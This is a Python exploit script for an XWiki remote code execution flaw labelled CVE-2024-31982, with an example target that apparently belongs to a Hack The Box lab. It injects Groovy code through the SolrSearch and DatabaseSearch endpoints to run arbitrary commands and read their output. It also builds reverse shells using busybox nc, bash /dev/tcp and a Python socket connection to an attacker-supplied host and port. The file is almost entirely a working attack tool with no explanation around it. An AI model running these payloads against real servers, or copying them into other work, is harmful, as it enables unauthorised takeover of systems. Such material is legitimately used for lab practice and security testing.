#!/usr/bin/env python3
import requests
import argparse
import urllib.parse
import urllib3
from html import unescape
import sys

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class XWikiExploit:
    def __init__(self, target):
        self.target = target
        self.base_url = self.detect_protocol()
        
    def detect_protocol(self):
        """Auto-detect HTTP/HTTPS and verify target accessibility"""
        protocols = ['https', 'http']
        
        for protocol in protocols:
            test_url = f"{protocol}://{self.target}"
            try:
                response = requests.get(f"{test_url}/xwiki", timeout=5, verify=False)
                if response.status_code < 400:
                    print(f"[✓] Target accessible: {test_url}")
                    return test_url
            except:
                continue
                
        print("[!] Target not accessible")
        sys.exit(1)
    
    def build_groovy_payload(self, command):
        """Construct Groovy command execution payload"""
        groovy_template = (
            "def sout = new StringBuilder(), serr = new StringBuilder(); "
            "def proc = '{cmd}'.execute(); "
            "proc.consumeProcessOutput(sout, serr); "
            "proc.waitForOrKill(3000); "
            "println \"$sout$serr\";"
        )
        
        return groovy_template.format(cmd=command.replace('"', '\\"'))
    
    def build_reverse_shell_payload(self, lhost, lport, shell_type="busybox"):
        """Build reverse shell payload"""
        if shell_type == "busybox":
            cmd = f"busybox nc {lhost} {lport} -e /bin/sh"
        elif shell_type == "bash":
            cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
        elif shell_type == "python":
            cmd = f"python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('{lhost}',{lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i'])\""
        
        return cmd
    
    def execute_command(self, command, endpoint="SolrSearch"):
        """Execute command and return output"""
        groovy_payload = self.build_groovy_payload(command)
        
        # Construct the injection payload
        injection = "}}}{{async async=false}}{{groovy}}" + groovy_payload + "{{/groovy}}{{/async}}"
        
        # URL encode the payload
        encoded_payload = urllib.parse.quote_plus(injection)
        
        # Build endpoint URL
        if endpoint == "SolrSearch":
            endpoint_url = self.base_url + "/xwiki/bin/get/Main/SolrSearch?media=rss&text=" + encoded_payload
        elif endpoint == "DatabaseSearch":
            endpoint_url = self.base_url + "/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&space=&text=" + encoded_payload
        
        try:
            response = requests.get(endpoint_url, timeout=10, verify=False)
            if response.status_code == 200:
                return self.extract_output(response.text)
            else:
                return f"HTTP {response.status_code}: {response.text[:200]}"
        except Exception as e:
            return f"Request failed: {str(e)}"
    
    def extract_output(self, response_text):
        """Extract command output from RSS response"""
        import re
        
        # Try multiple extraction patterns
        patterns = [
            r'<description>RSS feed for search on \}}}(.*?)</description>',
            r'<description>(.*?)</description>',
            r'<content:encoded><!\[CDATA\[(.*?)\]\]></content:encoded>'
        ]
        
        for pattern in patterns:
            matches = re.findall(pattern, response_text, re.DOTALL)
            if matches:
                return unescape(matches[0].strip())
        
        return "No output extracted"
    
    def send_reverse_shell(self, lhost, lport, shell_type="busybox"):
        """Send reverse shell payload"""
        print(f"[+] Sending {shell_type} reverse shell to {lhost}:{lport}")
        
        command = self.build_reverse_shell_payload(lhost, lport, shell_type)
        encoded_command = command.replace('"', '\\"')
        
        # Use SolrSearch for reverse shells (fire and forget)
        injection = "}}}{{async async=false}}{{groovy}}\"" + encoded_command + "\".execute(){{/groovy}}{{/async}}"
        encoded_payload = urllib.parse.quote_plus(injection)
        
        endpoint_url = self.base_url + "/xwiki/bin/get/Main/SolrSearch?media=rss&text=" + encoded_payload
        
        try:
            requests.get(endpoint_url, timeout=5, verify=False)
            print("[✓] Reverse shell payload sent")
        except:
            print("[✓] Payload sent (connection may have been cut)")

def main():
    parser = argparse.ArgumentParser(description='XWiki CVE-2024-31982 Exploit')
    parser.add_argument('-t', '--target', required=True, help='Target (e.g., editor.htb:8080)')
    parser.add_argument('-c', '--command', help='Command to execute')
    parser.add_argument('-r', '--reverse-shell', action='store_true', help='Send reverse shell')
    parser.add_argument('--lhost', help='Local host for reverse shell')
    parser.add_argument('--lport', help='Local port for reverse shell')
    parser.add_argument('--shell-type', choices=['busybox', 'bash', 'python'], default='busybox')
    parser.add_argument('--endpoint', choices=['SolrSearch', 'DatabaseSearch'], default='SolrSearch')
    
    args = parser.parse_args()
    
    # Initialize exploit
    exploit = XWikiExploit(args.target)
    
    if args.reverse_shell:
        if not args.lhost or not args.lport:
            print("[!] --lhost and --lport required for reverse shell")
            sys.exit(1)
        exploit.send_reverse_shell(args.lhost, args.lport, args.shell_type)
    elif args.command:
        output = exploit.execute_command(args.command, args.endpoint)
        print(f"[Command Output]:\n{output}")
    else:
        print("[!] Specify either --command or --reverse-shell")

if __name__ == "__main__":
    main()